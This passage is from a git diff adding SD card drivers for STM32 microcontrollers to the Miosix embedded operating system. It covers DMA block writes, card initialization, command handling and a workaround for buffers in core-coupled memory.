lba+=511; + } + if(waitForCardReady()==false) return false; + + if(cardType!=SDHC) lba*=512; // Convert to byte address if not SDHC + if(nblk>1) + { + CmdResult cr=Command::send(Command::ACMD23,nblk); + if(cr.validateR1Response()==false) return false; + } + + //Clear both SDIO and DMA interrupt flags + SDIO->ICR=0x7ff; + DMA2->IFCR=DMA_IFCR_CGIF4; + + driverError=false; + dmaTransferError=false; + sdioTransferError=false; + dmaFlags=sdioFlags=0; + waiting=Thread::getCurrentThread(); + + //Data transfer is considered complete once the SDIO transfer complete + //interrupt occurs, that happens when the last data was written to the SDIO + //Both SDIO and DMA error interrupts are active to catch errors + SDIO->MASK=SDIO_MASK_DATAENDIE | //Interrupt on data end + SDIO_MASK_STBITERRIE | //Interrupt on start bit error + SDIO_MASK_RXOVERRIE | //Interrupt on rx underrun + SDIO_MASK_TXUNDERRIE | //Interrupt on tx underrun + SDIO_MASK_DCRCFAILIE | //Interrupt on data CRC fail + SDIO_MASK_DTIMEOUTIE; //Interrupt on data timeout + DMA2_Channel4->CPAR=reinterpret_cast(&SDIO->FIFO); + DMA2_Channel4->CMAR=reinterpret_cast(buffer); + DMA2_Channel4->CNDTR=nblk*512/sizeof(unsigned int); + DMA2_Channel4->CCR=DMA_CCR_PL_1 | //High priority DMA stream + DMA_CCR_MSIZE_1 | //Read 32bit at a time from RAM + DMA_CCR_PSIZE_1 | //Write 32bit at a time to SDIO + DMA_CCR_MINC | //Increment RAM pointer + DMA_CCR_DIR | //Memory to peripheral direction + DMA_CCR_TEIE | //Interrupt on transfer error + DMA_CCR_EN; //Start the DMA + + SDIO->DLEN=nblk*512; + if(waiting==0) + { + DBGERR("Premature wakeup\n"); + driverError=true; + } + CmdResult cr=Command::send(nblk>1 ? Command::CMD25 : Command::CMD24,lba); + if(cr.validateR1Response()) + { + //Block size 512 bytes, block data xfer, from card to controller + SDIO->DCTRL=(9<<4) | SDIO_DCTRL_DMAEN | SDIO_DCTRL_DTEN; + FastGlobalIrqLock dLock; + while(waiting) Thread::IRQglobalIrqUnlockAndWait(dLock); + } else sdioTransferError=true; + DMA2_Channel4->CCR=0; + while(DMA2_Channel4->CCR & DMA_CCR_EN) ; //DMA may take time to stop + SDIO->DCTRL=0; //Disable data path state machine + SDIO->MASK=0; + + // CMD12 is sent to end CMD25 (multiple block write), or to abort an + // unfinished write in case of errors + if(nblk>1 || driverError || sdioTransferError || dmaTransferError) + { + cr=Command::send(Command::CMD12,0); + if (driverError || dmaTransferError || sdioTransferError) + { + // CMD13 is sent to check the real status of the sdio after CMD12 + // and to reset the card in case if it gets stuck in a illegal state + cr=Command::send(Command::CMD13,Command::getRca()<<16); + } + } + if(sdioTransferError || dmaTransferError || cr.validateR1Response()==false) + { + displayBlockTransferError(); + ClockController::reduceClockSpeed(); + return false; + } + return true; +} +#endif //SD_DMA + +// +// Class CardSelector +// + +#ifndef SD_KEEP_CARD_SELECTED +/** + * \internal + * Simple RAII class for selecting an SD/MMC card an automatically deselect it + * at the end of the scope. + */ +class CardSelector +{ +public: + /** + * \internal + * Constructor. Selects the card. + * The result of the select operation is available through its succeded() + * member function + */ + explicit CardSelector() + { + success=Command::send( + Command::CMD7,Command::getRca()<<16).validateR1Response(); + } + + /** + * \internal + * \return true if the card was selected, false on error + */ + bool succeded() { return success; } + + /** + * \internal + * Destructor, ensures that the card is deselected + */ + ~CardSelector() + { + Command::send(Command::CMD7,0); //Deselect card. This will timeout + } + +private: + bool success; +}; +#endif //SD_KEEP_CARD_SELECTED + +// +// Initialization helper functions +// + +/** + * \internal + * Initialzes the SDIO peripheral in the STM32 + */ +static void initSDIOPeripheral() +{ + { + //Doing read-modify-write on RCC->APBENR2 and gpios, better be safe + GlobalIrqLock lock; + RCC->APB2ENR |= RCC_APB2ENR_IOPCEN | RCC_APB2ENR_IOPDEN; + RCC_SYNC(); + #ifdef SD_DMA + RCC->AHBENR |= RCC_AHBENR_SDIOEN | RCC_AHBENR_DMA2EN; + #else //SD_DMA + RCC->AHBENR |= RCC_AHBENR_SDIOEN; + #endif //SD_DMA + RCC_SYNC(); + sdD0::mode(Mode::ALTERNATE); + sdD1::mode(Mode::ALTERNATE); + sdD2::mode(Mode::ALTERNATE); + sdD3::mode(Mode::ALTERNATE); + sdCLK::mode(Mode::ALTERNATE); + sdCMD::mode(Mode::ALTERNATE); + #ifdef SD_DMA + IRQregisterIrq(lock,DMA2_Channel4_5_IRQn,DMA2channel4irqImpl); + IRQregisterIrq(lock,SDIO_IRQn,SDIOirqImpl); + #endif //SD_DMA + } + + + SDIO->POWER=0; //Power off state + delayUs(1); + SDIO->CLKCR=0; + SDIO->CMD=0; + SDIO->DCTRL=0; + SDIO->ICR=0xc007ff; + SDIO->POWER=SDIO_POWER_PWRCTRL_1 | SDIO_POWER_PWRCTRL_0; //Power on state + //This delay is particularly important: when setting the POWER register a + //glitch on the CMD pin happens. This glitch has a fast fall time and a slow + //rise time resembling an RC charge with a ~6us rise time. If the clock is + //started too soon, the card sees a clock pulse while CMD is low, and + //interprets it as a start bit. No, setting POWER to powerup does not + //eliminate the glitch. + delayUs(10); + ClockController::setLowSpeedClock(); + //Wait at least 74 clock cycles before first command + Thread::nanoSleep(250000); +} + +/** + * \internal + * Detect if the card is an SDHC, SDv2, SDv1, MMC + * \return Type of card: (1<<0)=MMC (1<<1)=SDv1 (1<<2)=SDv2 (1<<2)|(1<<3)=SDHC + * or Invalid if card detect failed. + */ +static CardType detectCardType() +{ + const int INIT_TIMEOUT=200; //200*10ms= 2 seconds + CmdResult r=Command::send(Command::CMD8,0x1aa); + if(r.validateError()) + { + //We have an SDv2 card connected + if(r.getResponse()!=0x1aa) + { + DBGERR("CMD8 validation: voltage range fail\n"); + return Invalid; + } + for(int i=0;i SDIODriver::instance() +{ + static KernelMutex m; + static intrusive_ref_ptr instance; + Lock l(m); + if(!instance) instance=new SDIODriver(); + return instance; +} + +ssize_t SDIODriver::readBlock(void* buffer, size_t size, off_t where) +{ + if(where % 512 || size % 512) return -EFAULT; + unsigned int lba=where/512; + unsigned int nSectors=size/512; + Lock l(mutex); + DBG("SDIODriver::readBlock(): nSectors=%d\n",nSectors); + bool aligned=BufferConverter::isWordAligned(buffer); + if(aligned==false) DBG("Buffer misaligned\n"); + + for(int i=0;i(buffer); + unsigned int tempLba=lba; + for(unsigned int j=0;j(buffer), + nSectors,lba)==false) error=true; + } else { + unsigned char *tempBuffer=reinterpret_cast(buffer); + unsigned int tempLba=lba; + for(unsigned int j=0;j0) DBGERR("Read: required %d retries\n",i); + return size; + } + } + return -EBADF; +} + +ssize_t SDIODriver::writeBlock(const void* buffer, size_t size, off_t where) +{ + if(where % 512 || size % 512) return -EFAULT; + unsigned int lba=where/512; + unsigned int nSectors=size/512; + Lock l(mutex); + DBG("SDIODriver::writeBlock(): nSectors=%d\n",nSectors); + bool aligned=BufferConverter::isWordAligned(buffer); + if(aligned==false) DBG("Buffer misaligned\n"); + + for(int i=0;i(buffer); + unsigned int tempLba=lba; + for(unsigned int j=0;j(buffer), + nSectors,lba)==false) error=true; + } else { + const unsigned char *tempBuffer= + reinterpret_cast(buffer); + unsigned int tempLba=lba; + for(unsigned int j=0;j0) DBGERR("Write: required %d retries\n",i); + return size; + } + } + return -EBADF; +} + +int SDIODriver::ioctl(int cmd, void* arg) +{ + DBG("SDIODriver::ioctl()\n"); + if(cmd!=IOCTL_SYNC) return -ENOTTY; + Lock l(mutex); + //Note: no need to select card, since status can be queried even with card + //not selected. + return waitForCardReady() ? 0 : -EFAULT; +} + +SDIODriver::SDIODriver() : Device(Device::BLOCK) +{ + initSDIOPeripheral(); + + // This is more important than it seems, since CMD55 requires the card's RCA + // as argument. During initalization, after CMD0 the card has an RCA of zero + // so without this line ACMD41 will fail and the card won't be initialized. + Command::setRca(0); + + //Send card reset command + CmdResult r=Command::send(Command::CMD0,0); + if(r.validateError()==false) return; + + cardType=detectCardType(); + if(cardType==Invalid) return; //Card detect failed + if(cardType==MMC) return; //MMC cards currently unsupported + + // Now give an RCA to the card. In theory we should loop and enumerate all + // the cards but this driver supports only one card. + r=Command::send(Command::CMD2,0); + //CMD2 sends R2 response, whose CMDINDEX field is wrong + if(r.getError()!=CmdResult::Ok && r.getError()!=CmdResult::RespNotMatch) + { + r.validateError(); + return; + } + r=Command::send(Command::CMD3,0); + if(r.validateR6Response()==false) return; + Command::setRca(r.getResponse()>>16); + DBG("Got RCA=%u\n",Command::getRca()); + if(Command::getRca()==0) + { + //RCA=0 can't be accepted, since it is used to deselect cards + DBGERR("RCA=0 is invalid\n"); + return; + } + + //Lastly, try selecting the card and configure the latest bits + { + #ifndef SD_KEEP_CARD_SELECTED + CardSelector selector; + if(selector.succeded()==false) return; + #else //SD_KEEP_CARD_SELECTED + //Select card here, and keep it selected indefinitely + r=Command::send(Command::CMD7,Command::getRca()<<16); + if(r.validateR1Response()==false) return; + #endif //SD_KEEP_CARD_SELECTED + + r=Command::send(Command::CMD13,Command::getRca()<<16);//Get status + if(r.validateR1Response()==false) return; + if(r.getState()!=4) //4=Tran state + { + DBGERR("CMD7 was not able to select card\n"); + return; + } + + r=Command::send(Command::ACMD6,2); //Set 4 bit bus width + if(r.validateR1Response()==false) return; + + if(cardType!=SDHC) + { + r=Command::send(Command::CMD16,512); //Set 512Byte block length + if(r.validateR1Response()==false) return; + } + } + + // Now that card is initialized, perform self calibration of maximum + // possible read/write speed. This as a side effect enables 4bit bus width. + ClockController::calibrateClockSpeed(this); + + DBG("SDIO init: Success\n"); +} + +} //namespace miosix diff --git a/miosix/arch/drivers/sdmmc/stm32f1_sd.h b/miosix/arch/drivers/sdmmc/stm32f1_sd.h new file mode 100644 index 000000000..b3c847ebf --- /dev/null +++ b/miosix/arch/drivers/sdmmc/stm32f1_sd.h @@ -0,0 +1,64 @@ +/*************************************************************************** + * Copyright (C) 2014 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#ifndef SD_STM32F1_H +#define SD_STM32F1_H + +#include "kernel/sync.h" +#include "filesystem/devfs/devfs.h" +#include "filesystem/ioctl.h" + +namespace miosix { + +/** + * Driver for the SDIO peripheral in STM32F1 microcontrollers + */ +class SDIODriver : public Device +{ +public: + /** + * \return an instance to this class, singleton + */ + static intrusive_ref_ptr instance(); + + virtual ssize_t readBlock(void *buffer, size_t size, off_t where); + + virtual ssize_t writeBlock(const void *buffer, size_t size, off_t where); + + virtual int ioctl(int cmd, void *arg); +private: + /** + * Constructor + */ + SDIODriver(); + + KernelMutex mutex; +}; + +} //namespace miosix + +#endif //SD_STM32F1_H diff --git a/miosix/arch/drivers/sdmmc/stm32f2_f4_f7_sd.cpp b/miosix/arch/drivers/sdmmc/stm32f2_f4_f7_sd.cpp new file mode 100644 index 000000000..604bc21c9 --- /dev/null +++ b/miosix/arch/drivers/sdmmc/stm32f2_f4_f7_sd.cpp @@ -0,0 +1,1587 @@ +/*************************************************************************** + * Copyright (C) 2010, 2011, 2012, 2013, 2014 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "stm32f2_f4_f7_sd.h" +#include "interfaces/bsp.h" +#include "interfaces/arch_registers.h" +#include "interfaces/interrupts.h" +#include "interfaces/cache.h" +#include "interfaces/delays.h" +#include "kernel/thread.h" +#include "board_settings.h" //For sdVoltage and SD_ONE_BIT_DATABUS definitions +#include +#include +#include + +//Note: enabling debugging might cause deadlock when using sleep() or reboot() +//The bug won't be fixed because debugging is only useful for driver development +///\internal Debug macro, for normal conditions +//#define DBG iprintf +#define DBG(x,...) do {} while(0) +///\internal Debug macro, for errors only +//#define DBGERR iprintf +#define DBGERR(x,...) do {} while(0) + +/* + * The SDMMC1 peripheral in the STM32F7 is basically the old SDIO with the + * registers renamed and a few bits changed. Let's map the old names in the new + */ +#if defined(_CHIP_STM32F7) || defined(_CHIP_STM32H7) + +#if SD_SDMMC==1 +#define SDIO SDMMC1 +#define RCC_APB2ENR_SDIOEN RCC_APB2ENR_SDMMC1EN +#define SDIO_IRQn SDMMC1_IRQn +#elif SD_SDMMC==2 +#define SDIO SDMMC2 +#define RCC_APB2ENR_SDIOEN RCC_APB2ENR_SDMMC2EN +#define SDIO_IRQn SDMMC2_IRQn +#else +#error SD_SDMMC undefined or not in range +#endif + +#define SDIO_STA_STBITERR 0 //This bit has been removed +#define SDIO_STA_RXOVERR SDMMC_STA_RXOVERR +#define SDIO_STA_TXUNDERR SDMMC_STA_TXUNDERR +#define SDIO_STA_DTIMEOUT SDMMC_STA_DTIMEOUT +#define SDIO_STA_DCRCFAIL SDMMC_STA_DCRCFAIL +#define SDIO_STA_CMDSENT SDMMC_STA_CMDSENT +#define SDIO_STA_CMDREND SDMMC_STA_CMDREND +#define SDIO_STA_CCRCFAIL SDMMC_STA_CCRCFAIL +#define SDIO_STA_CTIMEOUT SDMMC_STA_CTIMEOUT + +#define SDIO_CMD_CPSMEN SDMMC_CMD_CPSMEN +#define SDIO_CMD_WAITRESP_0 SDMMC_CMD_WAITRESP_0 +#define SDIO_CMD_WAITRESP_1 SDMMC_CMD_WAITRESP_1 + +#define SDIO_ICR_CTIMEOUTC SDMMC_ICR_CTIMEOUTC +#define SDIO_ICR_CCRCFAILC SDMMC_ICR_CCRCFAILC + +#define SDIO_CLKCR_CLKEN SDMMC_CLKCR_CLKEN +#define SDIO_CLKCR_PWRSAV SDMMC_CLKCR_PWRSAV +#define SDIO_CLKCR_WIDBUS_0 SDMMC_CLKCR_WIDBUS_0 +#define SDIO_CLKCR_HWFC_EN SDMMC_CLKCR_HWFC_EN + +#define SDIO_MASK_STBITERRIE 0 //This bit has been removed +#define SDIO_MASK_RXOVERRIE SDMMC_MASK_RXOVERRIE +#define SDIO_MASK_TXUNDERRIE SDMMC_MASK_TXUNDERRIE +#define SDIO_MASK_DCRCFAILIE SDMMC_MASK_DCRCFAILIE +#define SDIO_MASK_DTIMEOUTIE SDMMC_MASK_DTIMEOUTIE +#define SDIO_MASK_DATAENDIE SDMMC_MASK_DATAENDIE + +#define SDIO_DCTRL_DMAEN SDMMC_DCTRL_DMAEN +#define SDIO_DCTRL_DTDIR SDMMC_DCTRL_DTDIR +#define SDIO_DCTRL_DTEN SDMMC_DCTRL_DTEN + +#define SDIO_POWER_PWRCTRL_1 SDMMC_POWER_PWRCTRL_1 +#define SDIO_POWER_PWRCTRL_0 SDMMC_POWER_PWRCTRL_0 + +constexpr int ICR_FLAGS_CLR=0x5ff; + +#else //defined(_CHIP_STM32F7) || defined(_CHIP_STM32H7) + +constexpr int ICR_FLAGS_CLR=0x7ff; + +#endif //defined(_CHIP_STM32F7) || defined(_CHIP_STM32H7) + +#if (defined(_CHIP_STM32F7) || defined(_CHIP_STM32H7)) && SD_SDMMC==2 +#define DMA_Stream DMA2_Stream0 +#else +#define DMA_Stream DMA2_Stream3 +#endif + +namespace miosix { + +static volatile bool driverError; ///< \internal Errors caused by OS issues (premature wakeup) +static volatile bool dmaTransferError; ///< \internal DMA transfer error +static volatile bool sdioTransferError; ///< \internal SDIO transfer error +static Thread *waiting; ///< \internal Thread waiting for transfer +static unsigned int dmaFlags; ///< \internal DMA status flags +static unsigned int sdioFlags; ///< \internal SDIO status flags + +/** + * \internal + * DMA2 Stream3 interrupt handler actual implementation + */ +void SDDMAirqImpl() +{ + dmaFlags=DMA2->LISR; + #if (defined(_CHIP_STM32F7) || defined(_CHIP_STM32H7)) && SD_SDMMC==2 + if(dmaFlags & (DMA_LISR_TEIF0 | DMA_LISR_DMEIF0 | DMA_LISR_FEIF0)) + dmaTransferError=true; + + DMA2->LIFCR = DMA_LIFCR_CTCIF0 + | DMA_LIFCR_CTEIF0 + | DMA_LIFCR_CDMEIF0 + | DMA_LIFCR_CFEIF0; + #else + if(dmaFlags & (DMA_LISR_TEIF3 | DMA_LISR_DMEIF3 | DMA_LISR_FEIF3)) + dmaTransferError=true; + + DMA2->LIFCR = DMA_LIFCR_CTCIF3 + | DMA_LIFCR_CTEIF3 + | DMA_LIFCR_CDMEIF3 + | DMA_LIFCR_CFEIF3; + #endif + + if(!waiting) return; + waiting->IRQwakeup(); + waiting=nullptr; +} + +/** + * \internal + * SDIO device interrupt handler actual implementation + */ +void SDirqImpl() +{ + sdioFlags=SDIO->STA; + + #ifdef SDIO_STA_STBITERR + //Some STM32 chips leave this flag reserved, in that case it's left + //undefined in the CMSIS headers + if(sdioFlags & SDIO_STA_STBITERR) + sdioTransferError=true; + #endif + if(sdioFlags & (SDIO_STA_RXOVERR | SDIO_STA_TXUNDERR | + SDIO_STA_DTIMEOUT | SDIO_STA_DCRCFAIL)) + sdioTransferError=true; + + SDIO->ICR=ICR_FLAGS_CLR; //Clear flags + + if(!waiting) return; + waiting->IRQwakeup(); + waiting=nullptr; +} + +/* + * Operating voltage of device. It is sent to the SD card to check if it can + * work at this voltage. Range *must* be within 28..36 + * Example 33=3.3v + */ +//static const unsigned char sdVoltage=33; //Is defined in board_settings.h +static const unsigned int sdVoltageMask=1<<(sdVoltage-13); //See OCR reg in SD spec + +/** + * \internal + * Possible state of the cardType variable. + */ +enum CardType +{ + Invalid=0, ///<\internal Invalid card type + MMC=1<<0, ///<\internal if(cardType==MMC) card is an MMC + SDv1=1<<1, ///<\internal if(cardType==SDv1) card is an SDv1 + SDv2=1<<2, ///<\internal if(cardType==SDv2) card is an SDv2 + SDHC=1<<3 ///<\internal if(cardType==SDHC) card is an SDHC +}; + +///\internal Type of card. +static CardType cardType=Invalid; + +//SD card GPIOs +//TODO: expose gpio selection to the BSPs... +#if (defined(_CHIP_STM32F7) || defined(_CHIP_STM32H7)) && SD_SDMMC==2 +typedef Gpio sdD0; +typedef Gpio sdD1; +typedef Gpio sdD2; +typedef Gpio sdD3; +typedef Gpio sdCLK; +typedef Gpio sdCMD; +#elif defined(_BOARD_STM32F411CE_BLACKPILL) +typedef Gpio sdD0; +typedef Gpio sdD1; +typedef Gpio sdD2; +typedef Gpio sdD3; +typedef Gpio sdCLK; +typedef Gpio sdCMD; +#else +typedef Gpio sdD0; +typedef Gpio sdD1; +typedef Gpio sdD2; +typedef Gpio sdD3; +typedef Gpio sdCLK; +typedef Gpio sdCMD; +#endif + + +// +// Class BufferConverter +// + +/** + * \internal + * After fixing the FSMC bug in the stm32f1, ST decided to willingly introduce + * another quirk in the stm32f4. They introduced a core coupled memory that is + * not accessible by the DMA. While from an hardware perspective it may make + * sense, it is a bad design decision when viewed from the software side. + * This is because if application code allocates a buffer in the core coupled + * memory and passes that to an fread() or fwrite() call, that buffer is + * forwarded here, and this driver is DMA-based... Now, in an OS such as Miosix + * that tries to shield the application developer from such quirks, it is + * unacceptable to fail to work in such an use case, so this class exists to + * try and work around this. + * In essence, the first "bad buffer" that is passed to a readBlock() or + * writeBlock() causes the allocation on the heap (which Miosix guarantees + * is not allocated in the core coupled memory) of a 512 byte buffer which is + * then never deallocated and always reused to deal with these bad buffers. + * While this works, performance suffers for two reasons: first, when dealing + * with those bad buffers, the filesystem code is no longer zero copy, and + * second because multiple block read/writes between bad buffers and the SD + * card are implemented as a sequence of single block read/writes. + * If you're an application developer and care about speed, try to allocate + * your buffers in the heap if you're coding for the STM32F4. + */ +class BufferConverter +{ +public: + /** + * \internal + * The buffer will be of this size only. + */ + static const int BUFFER_SIZE=512; + + /** + * \internal + * \return true if the pointer is not inside the CCM + */ + static bool isGoodBuffer(const void *x) + { + unsigned int ptr=reinterpret_cast(x); + return (ptr<0x10000000) || (ptr>=(0x10000000+64*1024)); + } + + /** + * \internal + * Convert from a constunsigned char* buffer of size BUFFER_SIZE to a + * const unsigned int* word aligned buffer. + * If the original buffer is already word aligned it only does a cast, + * otherwise it copies the data on the original buffer to a word aligned + * buffer. Useful if subseqent code will read from the buffer. + * \param a buffer of size BUFFER_SIZE. Can be word aligned or not. + * \return a word aligned buffer with the same data of the given buffer + */ + static const unsigned char *toWordAligned(const unsigned char *buffer); + + /** + * \internal + * Convert from an unsigned char* buffer of size BUFFER_SIZE to an + * unsigned int* word aligned buffer. + * If the original buffer is already word aligned it only does a cast, + * otherwise it returns a new buffer which *does not* contain the data + * on the original buffer. Useful if subseqent code will write to the + * buffer. To move the written data to the original buffer, use + * toOriginalBuffer() + * \param a buffer of size BUFFER_SIZE. Can be word aligned or not. + * \return a word aligned buffer with undefined content. + */ + static unsigned char *toWordAlignedWithoutCopy(unsigned char *buffer); + + /** + * \internal + * Convert the buffer got through toWordAlignedWithoutCopy() to the + * original buffer. If the original buffer was word aligned, nothing + * happens, otherwise a memcpy is done. + * Note that this function does not work on buffers got through + * toWordAligned(). + */ + static void toOriginalBuffer(); + + /** + * \internal + * Can be called to deallocate the buffer + */ + static void deallocateBuffer(); + +private: + static unsigned char *originalBuffer; + static unsigned char *wordAlignedBuffer; +}; + +const unsigned char *BufferConverter::toWordAligned(const unsigned char *buffer) +{ + originalBuffer=0; //Tell toOriginalBuffer() that there's nothing to do + if(isGoodBuffer(buffer)) + { + return buffer; + } else { + if(wordAlignedBuffer==0) + wordAlignedBuffer=new unsigned char[BUFFER_SIZE]; + std::memcpy(wordAlignedBuffer,buffer,BUFFER_SIZE); + return wordAlignedBuffer; + } +} + +unsigned char *BufferConverter::toWordAlignedWithoutCopy( + unsigned char *buffer) +{ + if(isGoodBuffer(buffer)) + { + originalBuffer=0; //Tell toOriginalBuffer() that there's nothing to do + return buffer; + } else { + originalBuffer=buffer; //Save original pointer for toOriginalBuffer() + if(wordAlignedBuffer==0) + wordAlignedBuffer=new unsigned char[BUFFER_SIZE]; + return wordAlignedBuffer; + } +} + +void BufferConverter::toOriginalBuffer() +{ + if(originalBuffer==0) return; + std::memcpy(originalBuffer,wordAlignedBuffer,BUFFER_SIZE); + originalBuffer=0; +} + +void BufferConverter::deallocateBuffer() +{ + originalBuffer=0; //Invalidate also original buffer + if(wordAlignedBuffer!=0) + { + delete[] wordAlignedBuffer; + wordAlignedBuffer=0; + } +} + +unsigned char *BufferConverter::originalBuffer=0; +unsigned char *BufferConverter::wordAlignedBuffer=0; + +// +// Class CmdResult +// + +/** + * \internal + * Contains the result of an SD/MMC command + */ +class CmdResult +{ +public: + + /** + * \internal + * Possible outcomes of sending a command + */ + enum Error + { + Ok=0, /// No errors + Timeout, /// Timeout while waiting command reply + CRCFail, /// CRC check failed in command reply + RespNotMatch,/// Response index does not match command index + ACMDFail /// Sending CMD55 failed + }; + + /** + * \internal + * Default constructor + */ + CmdResult(): cmd(0), error(Ok), response(0) {} + + /** + * \internal + * Constructor, set the response data + * \param cmd command index of command that was sent + * \param result result of command + */ + CmdResult(unsigned char cmd, Error error): cmd(cmd), error(error), + response(SDIO->RESP1) {} + + /** + * \internal + * \return the 32 bit of the response. + * May not be valid if getError()!=Ok or the command does not send a + * response, such as CMD0 + */ + unsigned int getResponse() { return response; } + + /** + * \internal + * \return command index + */ + unsigned char getCmdIndex() { return cmd; } + + /** + * \internal + * \return the error flags of the response + */ + Error getError() { return error; } + + /** + * \internal + * Checks if errors occurred while sending the command. + * \return true if no errors, false otherwise + */ + bool validateError(); + + /** + * \internal + * interprets this->getResponse() as an R1 response, and checks if there are + * errors, or everything is ok + * \return true on success, false on failure + */ + bool validateR1Response(); + + /** + * \internal + * Same as validateR1Response, but can be called with interrupts disabled. + * \return true on success, false on failure + */ + bool IRQvalidateR1Response(); + + /** + * \internal + * interprets this->getResponse() as an R6 response, and checks if there are + * errors, or everything is ok + * \return true on success, false on failure + */ + bool validateR6Response(); + + /** + * \internal + * \return the card state from an R1 or R6 resonse + */ + unsigned char getState(); + +private: + unsigned char cmd; ///<\internal Command index that was sent + Error error; ///<\internal possible error that occurred + unsigned int response; ///<\internal 32bit response +}; + +bool CmdResult::validateError() +{ + switch(error) + { + case Ok: + return true; + case Timeout: + DBGERR("CMD%d: Timeout\n",cmd); + break; + case CRCFail: + DBGERR("CMD%d: CRC Fail\n",cmd); + break; + case RespNotMatch: + DBGERR("CMD%d: Response does not match\n",cmd); + break; + case ACMDFail: + DBGERR("CMD%d: ACMD Fail\n",cmd); + break; + } + return false; +} + +bool CmdResult::validateR1Response() +{ + if(error!=Ok) return validateError(); + //Note: this number is obtained with all the flags of R1 which are errors + //(flagged as E in the SD specification), plus CARD_IS_LOCKED because + //locked card are not supported by this software driver + if((response & 0xfff98008)==0) return true; + DBGERR("CMD%d: R1 response error(s):\n",cmd); + if(response & (1<<31)) DBGERR("Out of range\n"); + if(response & (1<<30)) DBGERR("ADDR error\n"); + if(response & (1<<29)) DBGERR("BLOCKLEN error\n"); + if(response & (1<<28)) DBGERR("ERASE SEQ error\n"); + if(response & (1<<27)) DBGERR("ERASE param\n"); + if(response & (1<<26)) DBGERR("WP violation\n"); + if(response & (1<<25)) DBGERR("card locked\n"); + if(response & (1<<24)) DBGERR("LOCK_UNLOCK failed\n"); + if(response & (1<<23)) DBGERR("command CRC failed\n"); + if(response & (1<<22)) DBGERR("illegal command\n"); + if(response & (1<<21)) DBGERR("ECC fail\n"); + if(response & (1<<20)) DBGERR("card controller error\n"); + if(response & (1<<19)) DBGERR("unknown error\n"); + if(response & (1<<16)) DBGERR("CSD overwrite\n"); + if(response & (1<<15)) DBGERR("WP ERASE skip\n"); + if(response & (1<<3)) DBGERR("AKE_SEQ error\n"); + return false; +} + +bool CmdResult::IRQvalidateR1Response() +{ + if(error!=Ok) return false; + if(response & 0xfff98008) return false; + return true; +} + +bool CmdResult::validateR6Response() +{ + if(error!=Ok) return validateError(); + if((response & 0xe008)==0) return true; + DBGERR("CMD%d: R6 response error(s):\n",cmd); + if(response & (1<<15)) DBGERR("command CRC failed\n"); + if(response & (1<<14)) DBGERR("illegal command\n"); + if(response & (1<<13)) DBGERR("unknown error\n"); + if(response & (1<<3)) DBGERR("AKE_SEQ error\n"); + return false; +} + +unsigned char CmdResult::getState() +{ + unsigned char result=(response>>9) & 0xf; + DBG("CMD%d: State: ",cmd); + switch(result) + { + case 0: DBG("Idle\n"); break; + case 1: DBG("Ready\n"); break; + case 2: DBG("Ident\n"); break; + case 3: DBG("Stby\n"); break; + case 4: DBG("Tran\n"); break; + case 5: DBG("Data\n"); break; + case 6: DBG("Rcv\n"); break; + case 7: DBG("Prg\n"); break; + case 8: DBG("Dis\n"); break; + case 9: DBG("Btst\n"); break; + default: DBG("Unknown\n"); break; + } + return result; +} + +// +// Class Command +// + +/** + * \internal + * This class allows sending commands to an SD or MMC + */ +class Command +{ +public: + + /** + * \internal + * SD/MMC commands + * - bit #7 is @ 1 if a command is an ACMDxx. send() will send the + * sequence CMD55, CMDxx + * - bit from #0 to #5 indicate command index (CMD0..CMD63) + * - bit #6 is don't care + */ + enum CommandType + { + CMD0=0, //GO_IDLE_STATE + CMD2=2, //ALL_SEND_CID + CMD3=3, //SEND_RELATIVE_ADDR + ACMD6=0x80 | 6, //SET_BUS_WIDTH + CMD7=7, //SELECT_DESELECT_CARD + ACMD41=0x80 | 41, //SEND_OP_COND (SD) + CMD8=8, //SEND_IF_COND + CMD9=9, //SEND_CSD + CMD12=12, //STOP_TRANSMISSION + CMD13=13, //SEND_STATUS + CMD16=16, //SET_BLOCKLEN + CMD17=17, //READ_SINGLE_BLOCK + CMD18=18, //READ_MULTIPLE_BLOCK + ACMD23=0x80 | 23, //SET_WR_BLK_ERASE_COUNT (SD) + CMD24=24, //WRITE_BLOCK + CMD25=25, //WRITE_MULTIPLE_BLOCK + CMD55=55 //APP_CMD + }; + + /** + * \internal + * Send a command. + * \param cmd command index (CMD0..CMD63) or ACMDxx command + * \param arg the 32 bit argument to the command + * \return a CmdResult object + */ + static CmdResult send(CommandType cmd, unsigned int arg); + + /** + * \internal + * Set the relative card address, obtained during initialization. + * \param r the card's rca + */ + static void setRca(unsigned short r) { rca=r; } + + /** + * \internal + * \return the card's rca, as set by setRca + */ + static unsigned int getRca() { return static_cast(rca); } + +private: + static unsigned short rca;///<\internal Card's relative address +}; + +CmdResult Command::send(CommandType cmd, unsigned int arg) +{ + unsigned char cc=static_cast(cmd); + //Handle ACMDxx as CMD55, CMDxx + if(cc & 0x80) + { + DBG("ACMD%d\n",cc & 0x3f); + CmdResult r=send(CMD55,(static_cast(rca))<<16); + if(r.validateR1Response()==false) + return CmdResult(cc & 0x3f,CmdResult::ACMDFail); + //Bit 5 @ 1 = next command will be 